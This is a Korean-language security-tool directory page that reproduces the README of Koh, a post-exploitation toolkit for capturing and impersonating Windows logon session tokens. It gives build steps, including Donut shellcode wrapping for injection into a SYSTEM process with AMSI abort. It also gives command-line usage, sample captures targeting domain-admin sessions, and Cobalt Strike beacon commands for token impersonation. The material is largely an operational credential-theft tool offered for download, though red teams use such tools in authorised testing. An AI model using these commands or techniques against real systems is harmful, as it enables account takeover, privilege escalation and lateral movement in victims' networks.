Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Koh — 토큰 누출을 통해 Windows 로그온 세션 토큰을 캡처하여 자격 증명 재사용 및 가장을 가능하게 하며, Cobalt Strike BOF 통합을 통해 사후 공격 토큰 도용을 지원합니다. | Kitploit
도구/GitHubGitHub/ghostpack/koh
Post-ExploitationAuthenticationRed Teaming
GitHubghostpack/koh

Koh

토큰 누출을 통해 Windows 로그온 세션 토큰을 캡처하여 자격 증명 재사용 및 가장을 가능하게 하며, Cobalt Strike BOF 통합을 통해 사후 공격 토큰 도용을 지원합니다.

저장소 보기
52267204년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Koh


Koh는 의도적인 토큰/로그온 세션 유출을 통해 사용자 자격 증명 자료를 캡처할 수 있는 C# 및 BOF(Beacon Object File) 도구 모음입니다.

일부 코드는 Elad Shamir의 Internal-Monologue 프로젝트(라이선스 없음)와 KB180548에서 영감을 받았습니다. 이것이 가능한 이유와 Koh의 접근 방식에 대해서는 이 README의 기술적 배경 섹션을 참조하세요.

Koh의 동기와 접근 방식에 대한 더 자세한 설명은 Koh: The Token Stealer 게시물을 참조하세요.

@harmj0y가 이 코드 베이스의 주 저자입니다. @tifkin_은 접근 방식, BOF 구현 및 일부 토큰 메커니즘에 도움을 주었습니다.

Koh는 BSD 3-Clause 라이선스에 따라 사용이 허가됩니다.

목차

  • Koh
    • 목차
    • Koh 서버
      • 컴파일
      • 사용법
      • 예제 - 로그온 세션 나열
      • 예제 - 로그온 세션 모니터링(그룹 SID 필터링 포함)
    • Koh 클라이언트
      • 사용법
      • 그룹 SID 필터링
      • 예제 - 캡처
    • 기술적 배경
      • 이것이 가능한 이유
      • 접근 방식
        • 가능한 접근 방식
        • 우리의 접근 방식
        • 기존 자격 증명 추출 대비 장점/단점
          • 장점
          • 단점
    • 인라인 장난 버그
    • IOC
    • 완화 방법
    • 할 일

Koh 서버

Koh "서버"는 토큰을 캡처하며 제어/통신을 위해 명명된 파이프를 사용합니다. 이는 Donut으로 감싸서 높은 무결성 SYSTEM 프로세스에 주입할 수 있습니다 (인라인 장난 버그 참조).

컴파일

Koh의 바이너리 배포는 계획하지 않고 있으므로 직접 컴파일해야 합니다 :)

Koh는 .NET 4.7.2를 대상으로 빌드되었으며 Visual Studio 2019 Community Edition과 호환됩니다. 프로젝트 .sln 파일을 열고 "Release"를 선택한 후 빌드하면 됩니다. Koh.exe 어셈블리와 Koh.bin Donut 빌드 PIC가 메인 디렉토리에 출력됩니다. Donut blob은 x86/x64 모두 호환되며, ./Misc/Donut.exe에 있는 Donut v0.9.3을 사용하여 다음 옵션으로 빌드됩니다:``` [ Instance type : Embedded [ Entropy : Random names + Encryption [ Compressed : Xpress Huffman [ File type : .NET EXE [ Parameters : capture [ Target CPU : x86+amd64 [ AMSI/WDLP : abort

Donut의 라이선스는 BSD 3-clause입니다.

### 사용법
   
   `Koh.exe Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`

* **list** - (네트워크가 아닌) 로그온 세션을 나열합니다
* **monitor** - 새로운/고유한 (네트워크가 아닌) 로그온 세션을 모니터링합니다
* **capture** - 새로운 (네트워크가 아닌) 로그온 세션에 대해 발견된 SID당 하나의 고유한 토큰을 캡처합니다

그룹 SID는 명령줄에서도 제공할 수 있으며, Koh가 협상된 토큰 정보에 지정된 그룹 SID를 포함하는 로그온 세션만 모니터링/캡처하도록 합니다.

### 예제 - 로그온 세션 나열```
C:\Temp>Koh.exe list

 __  ___   ______    __    __
|  |/  /  /  __  \  |  |  |  |
|  '  /  |  |  |  | |  |__|  |
|    <   |  |  |  | |   __   |
|  .  \  |  `--'  | |  |  |  |
|__|\__\  \______/  |__|  |__|
                     v1.0.0


  [*] Command: list

  [*] Elevated to SYSTEM


  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\testuser
      LUID        : 207990196
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1119
      Origin LUID : 1677733 (0x1999a5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492692
      LogonType   : Interactive
      AuthPackage : Negotiate
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\DA
      LUID        : 81492608
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1145
      Origin LUID : 1677765 (0x1999c5)

  [*] New Logon Session - 6/22/2022 2:51:46 PM
      UserName    : THESHIRE\harmj0y
      LUID        : 1677733
      LogonType   : Interactive
      AuthPackage : Kerberos
      User SID    : S-1-5-21-937929760-3187473010-80948926-1104
      Origin LUID : 999 (0x3e7)
    

예시 - 로그온 세션 모니터링 (그룹 SID 필터링 포함)

토큰 정보에 domain admins (-512) 그룹 SID가 포함된 결과만 나열합니다:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512


| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0

[*] Command: monitor

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)

[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)

## Koh 클라이언트

현재 사용 가능한 클라이언트는 `.\Clients\BOF\`에 있는 Beacon Object File입니다. `.\Clients\BOF\KohClient.cna` 공격자 스크립트를 Cobalt Strike 클라이언트에 로드하여 Koh 서버의 BOF 제어를 활성화하십시오. 캡처된 토큰을 사용하기 위한 유일한 요구 사항은 **SeImpersonatePrivilege**입니다. 통신 명명된 파이프에는 'Everyone' DACL이 있지만 기본 공유 암호(매우 안전함)를 사용합니다.

Linux에서 Mingw를 사용하여 새로 컴파일하려면 `.\Clients\BOF\build.sh` 스크립트를 참조하십시오. 유일한 요구 사항(적어도 Debian의 경우)은 `apt-get install gcc-mingw-w64`여야 합니다.

### 사용법```
beacon> help koh
koh list              - lists captured tokens
koh groups LUID       - lists the group SIDs for a captured token
koh filter list       - lists the group SIDs used for capture filtering
koh filter add SID    - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset      - resets the SID group capture filter
koh impersonate LUID  - impersonates the captured token with the give LUID
koh release all       - releases all captured tokens
koh release LUID      - releases the captured token for the specified LUID
koh exit              - signals the Koh server to exit

그룹 SID 필터링

koh filter add S-1-5-21-<DOMAIN>-<RID> 명령은 제공된 그룹 SID를 포함하는 토큰만 캡처합니다. 이 명령은 여러 번 실행하여 캡처할 추가 SID를 추가할 수 있습니다. 이는 많은 수의 토큰 누출로 인한 잠재적인 안정성 문제를 방지하는 데 도움이 됩니다.

예제 - 캡처

"Captures"는 새 각 세션에 대해 사용 가능한 토큰을 협상하여 로그온 세션을 캡처합니다.

서버:``` C:\Temp>Koh.exe capture


| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0

[*] Command: capture

[*] Starting server with named pipe: imposecost

[*] Elevated to SYSTEM

[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)

  [*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
도구 다운로드